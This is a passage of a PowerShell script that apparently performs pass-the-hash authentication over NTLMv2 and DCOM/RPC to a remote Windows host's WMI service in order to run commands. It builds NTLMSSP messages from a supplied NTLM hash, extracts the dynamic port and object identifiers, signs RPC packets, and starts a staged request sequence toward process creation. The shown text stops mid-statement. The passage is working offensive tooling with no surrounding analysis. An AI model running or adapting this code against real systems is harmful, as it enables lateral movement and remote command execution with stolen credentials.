  538. $WMI_target_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive
  539. $WMI_session_ID = $WMI_client_receive[44..51]
  540. $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)]
  541. $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)]
  542. $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)]
  543. $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-"
  544. $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  545. $auth_hostname = (get-childitem -path env:computername).Value
  546. $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)
  547. $auth_domain = $Domain
  548. $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain)
  549. $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)
  550. $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]
  551. $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]
  552. $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1]
  553. $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1]
  554. $auth_domain_offset = 0x40,0x00,0x00,0x00
  555. $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)
  556. $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)
  557. $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)
  558. $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)
  559. $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5
  560. $HMAC_MD5.key = $NTLM_hash_bytes
  561. $username_and_target = $username.ToUpper()
  562. $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)
  563. $username_and_target_bytes += $auth_domain_bytes
  564. $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)
  565. $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
  566. $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  567. $security_blob_bytes = 0x01,0x01,0x00,0x00,
  568. 0x00,0x00,0x00,0x00 +
  569. $WMI_target_time_bytes +
  570. $client_challenge_bytes +
  571. 0x00,0x00,0x00,0x00 +
  572. $WMI_target_details +
  573. 0x00,0x00,0x00,0x00,
  574. 0x00,0x00,0x00,0x00
  575. $server_challenge_and_security_blob_bytes = $WMI_NTLM_challenge + $security_blob_bytes
  576. $HMAC_MD5.key = $NTLMv2_hash
  577. $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)
  578. $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)
  579. $NTLMv2_response = $NTLMv2_response + $security_blob_bytes
  580. $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1]
  581. $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)
  582. $WMI_session_key_length = 0x00,0x00
  583. $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2
  584. $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,
  585. 0x03,0x00,0x00,0x00,
  586. 0x18,0x00,
  587. 0x18,0x00 +
  588. $auth_LM_offset +
  589. $NTLMv2_response_length +
  590. $NTLMv2_response_length +
  591. $auth_NTLM_offset +
  592. $auth_domain_length +
  593. $auth_domain_length +
  594. $auth_domain_offset +
  595. $auth_username_length +
  596. $auth_username_length +
  597. $auth_username_offset +
  598. $auth_hostname_length +
  599. $auth_hostname_length +
  600. $auth_hostname_offset +
  601. $WMI_session_key_length +
  602. $WMI_session_key_length +
  603. $WMI_session_key_offset +
  604. $WMI_negotiate_flags +
  605. $auth_domain_bytes +
  606. $auth_username_bytes +
  607. $auth_hostname_bytes +
  608. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  609. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
  610. $NTLMv2_response
  611. $assoc_group = $WMI_client_receive[20..23]
  612. $packet_RPC = New-PacketRPCAUTH3 $NTLMSSP_response
  613. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  614. $WMI_client_send = $RPC
  615. $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  616. $WMI_client_stream.Flush()
  617. $causality_ID = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
  618. [Byte[]]$causality_ID_bytes = $causality_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  619. $unused_buffer = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
  620. [Byte[]]$unused_buffer_bytes = $unused_buffer.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  621. $packet_DCOM_remote_create_instance = New-PacketDCOMRemoteCreateInstance $causality_ID_bytes $target_short
  622. $DCOM_remote_create_instance = ConvertFrom-PacketOrderedDictionary $packet_DCOM_remote_create_instance
  623. $packet_RPC = New-PacketRPCRequest 0x03 $DCOM_remote_create_instance.Length 0 0 0x03,0x00,0x00,0x00 0x01,0x00 0x04,0x00
  624. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  625. $WMI_client_send = $RPC + $DCOM_remote_create_instance
  626. $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  627. $WMI_client_stream.Flush()
  628. $WMI_client_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  629. if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00')
  630. {
  631. Write-Output "[-] $output_username WMI access denied on $target_long"
  632. }
  633. elseif($WMI_client_receive[2] -eq 3)
  634. {
  635. $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24])
  636. $error_code = $error_code -replace "-",""
  637. Write-Output "[-] Error code 0x$error_code"
  638. }
  639. elseif($WMI_client_receive[2] -eq 2 -and !$WMI_execute)
  640. {
  641. Write-Output "[+] $output_username accessed WMI on $target_long"
  642. }
  643. elseif($WMI_client_receive[2] -eq 2)
  644. {
  645. Write-Verbose "[+] $output_username accessed WMI on $target_long"
  646. if($target_short -eq '127.0.0.1')
  647. {
  648. $target_short = $auth_hostname
  649. }
  650. $target_unicode = 0x07,0x00 + [System.Text.Encoding]::Unicode.GetBytes($target_short + "[")
  651. $target_search = [System.BitConverter]::ToString($target_unicode)
  652. $target_search = $target_search -replace "-",""
  653. $WMI_message = [System.BitConverter]::ToString($WMI_client_receive)
  654. $WMI_message = $WMI_message -replace "-",""
  655. $target_index = $WMI_message.IndexOf($target_search)
  656. if($target_index -lt 1)
  657. {
  658. $target_address_list = [System.Net.Dns]::GetHostEntry($target_long).AddressList
  659. ForEach($IP_address in $target_address_list)
  660. {
  661. $target_short = $IP_address.IPAddressToString
  662. $target_unicode = 0x07,0x00 + [System.Text.Encoding]::Unicode.GetBytes($target_short + "[")
  663. $target_search = [System.BitConverter]::ToString($target_unicode)
  664. $target_search = $target_search -replace "-",""
  665. $target_index = $WMI_message.IndexOf($target_search)
  666. if($target_index -gt 0)
  667. {
  668. break
  669. }
  670. }
  671. }
  672. if($target_long -cne $target_short)
  673. {
  674. Write-Verbose "[*] Using $target_short for random port extraction"
  675. }
  676. if($target_index -gt 0)
  677. {
  678. $target_bytes_index = $target_index / 2
  679. $WMI_random_port = $WMI_client_receive[($target_bytes_index + $target_unicode.Length)..($target_bytes_index + $target_unicode.Length + 8)]
  680. $WMI_random_port = [System.BitConverter]::ToString($WMI_random_port)
  681. $WMI_random_port_end_index = $WMI_random_port.IndexOf("-5D")
  682. if($WMI_random_port_end_index -gt 0)
  683. {
  684. $WMI_random_port = $WMI_random_port.SubString(0,$WMI_random_port_end_index)
  685. }
  686. $WMI_random_port = $WMI_random_port -replace "-00",""
  687. $WMI_random_port = $WMI_random_port.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  688. [Int]$WMI_random_port_int = -join $WMI_random_port
  689. $MEOW = [System.BitConverter]::ToString($WMI_client_receive)
  690. $MEOW = $MEOW -replace "-",""
  691. $MEOW_index = $MEOW.IndexOf("4D454F570100000018AD09F36AD8D011A07500C04FB68820")
  692. $MEOW_bytes_index = $MEOW_index / 2
  693. $OXID = $WMI_client_receive[($MEOW_bytes_index + 32)..($MEOW_bytes_index + 39)]
  694. $IPID = $WMI_client_receive[($MEOW_bytes_index + 48)..($MEOW_bytes_index + 63)]
  695. $OXID = [System.BitConverter]::ToString($OXID)
  696. $OXID = $OXID -replace "-",""
  697. $OXID_index = $MEOW.IndexOf($OXID,$MEOW_index + 100)
  698. $OXID_bytes_index = $OXID_index / 2
  699. $object_UUID = $WMI_client_receive[($OXID_bytes_index + 12)..($OXID_bytes_index + 27)]
  700. $WMI_client_random_port = New-Object System.Net.Sockets.TCPClient
  701. $WMI_client_random_port.Client.ReceiveTimeout = 30000
  702. }
  703. if($WMI_random_port)
  704. {
  705. Write-Verbose "[*] Connecting to $target_long`:$WMI_random_port_int"
  706. try
  707. {
  708. $WMI_client_random_port.Connect($target_long,$WMI_random_port_int)
  709. }
  710. catch
  711. {
  712. Write-Output "[-] $target_long`:$WMI_random_port_int did not respond"
  713. }
  714. }
  715. else
  716. {
  717. Write-Output "[-] Random port extraction failure"
  718. }
  719. }
  720. else
  721. {
  722. Write-Output "[-] Something went wrong"
  723. }
  724. if($WMI_client_random_port.Connected)
  725. {
  726. $WMI_client_random_port_stream = $WMI_client_random_port.GetStream()
  727. $packet_RPC = New-PacketRPCBind 2 0xd0,0x16 0x03 0x00,0x00 0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 0x00,0x00
  728. $packet_RPC["FragLength"] = 0xd0,0x00
  729. $packet_RPC["AuthLength"] = 0x28,0x00
  730. $packet_RPC["AuthLevel"] = 0x04
  731. $packet_RPC["NegotiateFlags"] = 0x97,0x82,0x08,0xa2
  732. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  733. $WMI_client_send = $RPC
  734. $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  735. $WMI_client_random_port_stream.Flush()
  736. $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  737. $assoc_group = $WMI_client_receive[20..23]
  738. $WMI_NTLMSSP = [System.BitConverter]::ToString($WMI_client_receive)
  739. $WMI_NTLMSSP = $WMI_NTLMSSP -replace "-",""
  740. $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf("4E544C4D53535000")
  741. $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2
  742. $WMI_domain_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive
  743. $WMI_target_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive
  744. $WMI_session_ID = $WMI_client_receive[44..51]
  745. $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)]
  746. $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)]
  747. $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)]
  748. $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-"
  749. $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  750. $auth_hostname = (Get-ChildItem -path env:computername).Value
  751. $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)
  752. $auth_domain = $Domain
  753. $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain)
  754. $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)
  755. $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]
  756. $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]
  757. $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1]
  758. $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1]
  759. $auth_domain_offset = 0x40,0x00,0x00,0x00
  760. $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)
  761. $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)
  762. $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)
  763. $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)
  764. $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5
  765. $HMAC_MD5.key = $NTLM_hash_bytes
  766. $username_and_target = $username.ToUpper()
  767. $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)
  768. $username_and_target_bytes += $auth_domain_bytes
  769. $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)
  770. $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
  771. $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
  772. $security_blob_bytes = 0x01,0x01,0x00,0x00,
  773. 0x00,0x00,0x00,0x00 +
  774. $WMI_target_time_bytes +
  775. $client_challenge_bytes +
  776. 0x00,0x00,0x00,0x00 +
  777. $WMI_target_details +
  778. 0x00,0x00,0x00,0x00,
  779. 0x00,0x00,0x00,0x00
  780. $server_challenge_and_security_blob_bytes = $WMI_NTLM_challenge + $security_blob_bytes
  781. $HMAC_MD5.key = $NTLMv2_hash
  782. $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)
  783. $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)
  784. $client_signing_constant = 0x73,0x65,0x73,0x73,0x69,0x6f,0x6e,0x20,0x6b,0x65,0x79,0x20,0x74,0x6f,0x20,
  785. 0x63,0x6c,0x69,0x65,0x6e,0x74,0x2d,0x74,0x6f,0x2d,0x73,0x65,0x72,0x76,
  786. 0x65,0x72,0x20,0x73,0x69,0x67,0x6e,0x69,0x6e,0x67,0x20,0x6b,0x65,0x79,
  787. 0x20,0x6d,0x61,0x67,0x69,0x63,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,
  788. 0x74,0x00
  789. $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
  790. $client_signing_key = $MD5.ComputeHash($session_base_key + $client_signing_constant)
  791. $NTLMv2_response = $NTLMv2_response + $security_blob_bytes
  792. $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1]
  793. $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)
  794. $WMI_session_key_length = 0x00,0x00
  795. $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2
  796. $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,
  797. 0x03,0x00,0x00,0x00,
  798. 0x18,0x00,
  799. 0x18,0x00 +
  800. $auth_LM_offset +
  801. $NTLMv2_response_length +
  802. $NTLMv2_response_length +
  803. $auth_NTLM_offset +
  804. $auth_domain_length +
  805. $auth_domain_length +
  806. $auth_domain_offset +
  807. $auth_username_length +
  808. $auth_username_length +
  809. $auth_username_offset +
  810. $auth_hostname_length +
  811. $auth_hostname_length +
  812. $auth_hostname_offset +
  813. $WMI_session_key_length +
  814. $WMI_session_key_length +
  815. $WMI_session_key_offset +
  816. $WMI_negotiate_flags +
  817. $auth_domain_bytes +
  818. $auth_username_bytes +
  819. $auth_hostname_bytes +
  820. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  821. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  822. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
  823. $NTLMv2_response
  824. $HMAC_MD5.key = $client_signing_key
  825. [Byte[]]$sequence_number = 0x00,0x00,0x00,0x00
  826. $packet_RPC = New-PacketRPCAUTH3 $NTLMSSP_response
  827. $packet_RPC["CallID"] = 0x02,0x00,0x00,0x00
  828. $packet_RPC["AuthLevel"] = 0x04
  829. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  830. $WMI_client_send = $RPC
  831. $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  832. $WMI_client_random_port_stream.Flush()
  833. $packet_RPC = New-PacketRPCRequest 0x83 76 16 4 0x02,0x00,0x00,0x00 0x00,0x00 0x03,0x00 $object_UUID
  834. $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87
  835. $packet_NTLMSSP_verifier = New-PacketNTLMSSPVerifier 4 0x04 $sequence_number
  836. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  837. $rem_query_interface = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface
  838. $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier
  839. $HMAC_MD5.key = $client_signing_key
  840. $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $rem_query_interface + $NTLMSSP_verifier[0..11])
  841. $RPC_signature = $RPC_signature[0..7]
  842. $packet_NTLMSSP_verifier["NTLMSSPVerifierChecksum"] = $RPC_signature
  843. $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier
  844. $WMI_client_send = $RPC + $rem_query_interface + $NTLMSSP_verifier
  845. $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  846. $WMI_client_random_port_stream.Flush()
  847. $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  848. $WMI_client_stage = 'Exit'
  849. if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00')
  850. {
  851. Write-Output "[-] $output_username WMI access denied on $target_long"
  852. }
  853. elseif($WMI_client_receive[2] -eq 3)
  854. {
  855. $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24])
  856. $error_code = $error_code -replace "-",""
  857. Write-Output "[-] Failed with error code 0x$error_code"
  858. }
  859. elseif($WMI_client_receive[2] -eq 2)
  860. {
  861. $WMI_data = [System.BitConverter]::ToString($WMI_client_receive)
  862. $WMI_data = $WMI_data -replace "-",""
  863. $OXID_index = $WMI_data.IndexOf($OXID)
  864. $OXID_bytes_index = $OXID_index / 2
  865. $object_UUID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)]
  866. $WMI_client_stage = 'AlterContext'
  867. }
  868. else
  869. {
  870. Write-Output "[-] Something went wrong"
  871. }
  872. Write-Verbose "[*] Attempting command execution"
  873. $request_split_index = 5500
  874. :WMI_execute_loop while ($WMI_client_stage -ne 'Exit')
  875. {
  876. if($WMI_client_receive[2] -eq 3)
  877. {
  878. $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24])
  879. $error_code = $error_code -replace "-",""
  880. Write-Output "[-] Failed with error code 0x$error_code"
  881. $WMI_client_stage = 'Exit'
  882. }
  883. switch ($WMI_client_stage)
  884. {
  885. 'AlterContext'
  886. {
  887. switch ($sequence_number[0])
  888. {
  889. 0
  890. {
  891. $alter_context_call_ID = 0x03,0x00,0x00,0x00
  892. $alter_context_context_ID = 0x02,0x00
  893. $alter_context_UUID = 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87
  894. $WMI_client_stage_next = 'Request'
  895. }
  896. 1
  897. {
  898. $alter_context_call_ID = 0x04,0x00,0x00,0x00
  899. $alter_context_context_ID = 0x03,0x00
  900. $alter_context_UUID = 0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20
  901. $WMI_client_stage_next = 'Request'
  902. }
  903. 6
  904. {
  905. $alter_context_call_ID = 0x09,0x00,0x00,0x00
  906. $alter_context_context_ID = 0x04,0x00
  907. $alter_context_UUID = 0x99,0xdc,0x56,0x95,0x8c,0x82,0xcf,0x11,0xa3,0x7e,0x00,0xaa,0x00,0x32,0x40,0xc7
  908. $WMI_client_stage_next = 'Request'
  909. }
  910. }
  911. $packet_RPC = New-PacketRPCAlterContext $assoc_group $alter_context_call_ID $alter_context_context_ID $alter_context_UUID
  912. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  913. $WMI_client_send = $RPC
  914. $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  915. $WMI_client_random_port_stream.Flush()
  916. $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  917. $WMI_client_stage = $WMI_client_stage_next
  918. }
  919. 'Request'
  920. {
  921. $request_split = $false
  922. switch ($sequence_number[0])
  923. {
  924. 0
  925. {
  926. $sequence_number = 0x01,0x00,0x00,0x00
  927. $request_flags = 0x83
  928. $request_auth_padding = 12
  929. $request_call_ID = 0x03,0x00,0x00,0x00
  930. $request_context_ID = 0x02,0x00
  931. $request_opnum = 0x03,0x00
  932. $request_UUID = $object_UUID2
  933. $hostname_length = [System.BitConverter]::GetBytes($auth_hostname.Length + 1)
  934. $WMI_client_stage_next = 'AlterContext'
  935. if([Bool]($auth_hostname.Length % 2))
  936. {
  937. $auth_hostname_bytes += 0x00,0x00
  938. }
  939. else
  940. {
  941. $auth_hostname_bytes += 0x00,0x00,0x00,0x00
  942. }
  943. $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
  944. $causality_ID_bytes +
  945. 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 +
  946. $hostname_length +
  947. 0x00,0x00,0x00,0x00 +
  948. $hostname_length +
  949. $auth_hostname_bytes +
  950. $process_ID_bytes +
  951. 0x00,0x00,0x00,0x00,0x00,0x00
  952. }
  953. 1
  954. {
  955. $sequence_number = 0x02,0x00,0x00,0x00
  956. $request_flags = 0x83
  957. $request_auth_padding = 8
  958. $request_call_ID = 0x04,0x00,0x00,0x00
  959. $request_context_ID = 0x03,0x00
  960. $request_opnum = 0x03,0x00
  961. $request_UUID = $IPID
  962. $WMI_client_stage_next = 'Request'
  963. $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
  964. $causality_ID_bytes +
  965. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  966. }
  967. 2
  968. {
  969. $sequence_number = 0x03,0x00,0x00,0x00
  970. $request_flags = 0x83
  971. $request_auth_padding = 0
  972. $request_call_ID = 0x05,0x00,0x00,0x00
  973. $request_context_ID = 0x03,0x00
  974. $request_opnum = 0x06,0x00
  975. $request_UUID = $IPID
  976. [Byte[]]$WMI_namespace_length = [System.BitConverter]::GetBytes($target_short.Length + 14)
  977. [Byte[]]$WMI_namespace_unicode = [System.Text.Encoding]::Unicode.GetBytes("\\$target_short\root\cimv2")
  978. $WMI_client_stage_next = 'Request'
  979. if([Bool]($target_short.Length % 2))
  980. {
  981. $WMI_namespace_unicode += 0x00,0x00,0x00,0x00
  982. }
  983. else
  984. {
  985. $WMI_namespace_unicode += 0x00,0x00
  986. }
  987. $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
  988. $causality_ID_bytes +
  989. 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 +
  990. $WMI_namespace_length +
  991. 0x00,0x00,0x00,0x00 +
  992. $WMI_namespace_length +
  993. $WMI_namespace_unicode +
  994. 0x04,0x00,0x02,0x00,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x09,
  995. 0x00,0x00,0x00,0x65,0x00,0x6e,0x00,0x2d,0x00,0x55,0x00,0x53,0x00,
  996. 0x2c,0x00,0x65,0x00,0x6e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  997. 0x00,0x00,0x00,0x00,0x00
  998. }
  999. 3
  1000. {
  1001. $sequence_number = 0x04,0x00,0x00,0x00
  1002. $request_flags = 0x83
  1003. $request_auth_padding = 8
  1004. $request_call_ID = 0x06,0x00,0x00,0x00
  1005. $request_context_ID = 0x00,0x00
  1006. $request_opnum = 0x05,0x00
  1007. $request_UUID = $object_UUID
  1008. $WMI_client_stage_next = 'Request'
  1009. $WMI_data = [System.BitConverter]::ToString($WMI_client_receive)
  1010. $WMI_data = $WMI_data -replace "-",""
  1011. $OXID_index = $WMI_data.IndexOf($OXID)
  1012. $OXID_bytes_index = $OXID_index / 2
  1013. $IPID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)]
  1014. $packet_rem_release = New-PacketDCOMRemRelease $causality_ID_bytes $object_UUID2 $IPID
  1015. $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_release
  1016. }
  1017. 4
  1018. {
  1019. $sequence_number = 0x05,0x00,0x00,0x00
  1020. $request_flags = 0x83
  1021. $request_auth_padding = 4
  1022. $request_call_ID = 0x07,0x00,0x00,0x00
  1023. $request_context_ID = 0x00,0x00
  1024. $request_opnum = 0x03,0x00
  1025. $request_UUID = $object_UUID
  1026. $WMI_client_stage_next = 'Request'
  1027. $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x9e,0xc1,0xfc,0xc3,0x70,0xa9,0xd2,0x11,0x8b,0x5a,0x00,0xa0,0xc9,0xb7,0xc9,0xc4
  1028. $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface
  1029. }
  1030. 5
  1031. {
  1032. $sequence_number = 0x06,0x00,0x00,0x00
  1033. $request_flags = 0x83
  1034. $request_auth_padding = 4
  1035. $request_call_ID = 0x08,0x00,0x00,0x00
  1036. $request_context_ID = 0x00,0x00
  1037. $request_opnum = 0x03,0x00
  1038. $request_UUID = $object_UUID
  1039. $WMI_client_stage_next = 'AlterContext'
  1040. $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x83,0xb2,0x96,0xb1,0xb4,0xba,0x1a,0x10,0xb6,0x9c,0x00,0xaa,0x00,0x34,0x1d,0x07
  1041. $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface
  1042. }
  1043. 6
  1044. {
  1045. $sequence_number = 0x07,0x00,0x00,0x00
  1046. $request_flags = 0x83
  1047. $request_auth_padding = 0
  1048. $request_call_ID = 0x09,0x00,0x00,0x00
  1049. $request_context_ID = 0x04,0x00
  1050. $request_opnum = 0x06,0x00
  1051. $request_UUID = $IPID2
  1052. $WMI_client_stage_next = 'Request'
  1053. $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
  1054. $causality_ID_bytes +
  1055. 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a,
  1056. 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00,
  1057. 0x33,0x00,0x32,0x00,0x5f,0x00,0x70,0x00,0x72,0x00,0x6f,0x00,0x63,
  1058. 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  1059. 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,
  1060. 0x00,0x00,0x00
  1061. }
  1062. 7
  1063. {
  1064. $sequence_number = 0x08,0x00,0x00,0x00
  1065. $request_flags = 0x83
  1066. $request_auth_padding = 0
  1067. $request_call_ID = 0x10,0x00,0x00,0x00
  1068. $request_context_ID = 0x04,0x00
  1069. $request_opnum = 0x06,0x00
  1070. $request_UUID = $IPID2
  1071. $WMI_client_stage_next = 'Request'
  1072. $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
  1073. $causality_ID_bytes +
